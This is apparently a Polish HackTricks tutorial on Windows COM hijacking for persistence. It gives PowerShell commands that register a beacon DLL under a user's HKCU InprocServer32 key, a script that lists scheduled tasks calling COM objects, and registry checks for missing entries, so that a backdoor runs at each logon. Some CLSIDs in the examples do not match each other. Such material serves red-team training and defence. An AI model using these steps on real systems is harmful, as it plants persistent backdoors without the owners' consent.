5.6 KiB
Przechwytywanie COM
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów GitHub.
Wyszukiwanie nieistniejących komponentów COM
Ponieważ wartości HKCU mogą być modyfikowane przez użytkowników, przechwytywanie COM może być używane jako mechanizm trwały. Korzystając z procmon
, łatwo znaleźć wyszukiwane rejestry COM, które nie istnieją i które atakujący może utworzyć w celu trwałego zainfekowania. Filtry:
- Operacje RegOpenKey.
- gdzie Wynik to NAME NOT FOUND.
- a Ścieżka kończy się na InprocServer32.
Po zdecydowaniu, który nieistniejący COM ma zostać podrobiony, wykonaj następujące polecenia. Bądź ostrożny, jeśli zdecydujesz się podrobić COM, który jest ładowany co kilka sekund, ponieważ może to być nadmiarowe.
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
Zdobywanie kontroli nad komponentami COM Harmonogramu zadań
Zadania systemu Windows używają niestandardowych wyzwalaczy do wywoływania obiektów COM, a ponieważ są wykonywane przez Harmonogram zadań, łatwiej przewidzieć, kiedy zostaną uruchomione.
# Wyświetl CLSID-y COM
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Nazwa zadania: " $Task.TaskName
Write-Host "Ścieżka zadania: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}
# Przykładowy wynik:
# Nazwa zadania: Przykład
# Ścieżka zadania: \Microsoft\Windows\Przykład\
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [więcej podobnych...]
Sprawdzając wynik, możesz wybrać takie zadanie, które będzie wykonywane za każdym razem, gdy użytkownik się zaloguje, na przykład.
Następnie, szukając CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} w HKEY_CLASSES_ROOT\CLSID oraz w HKLM i HKCU, zazwyczaj okaże się, że wartość nie istnieje w HKCU.
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
Name Property
---- --------
InprocServer32 (default) : C:\Windows\system32\some.dll
ThreadingModel : Both
# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize
Name Property
---- --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler
# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
Następnie możesz po prostu utworzyć wpis HKCU i za każdym razem, gdy użytkownik się loguje, twoje tylne drzwi zostaną uruchomione.
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.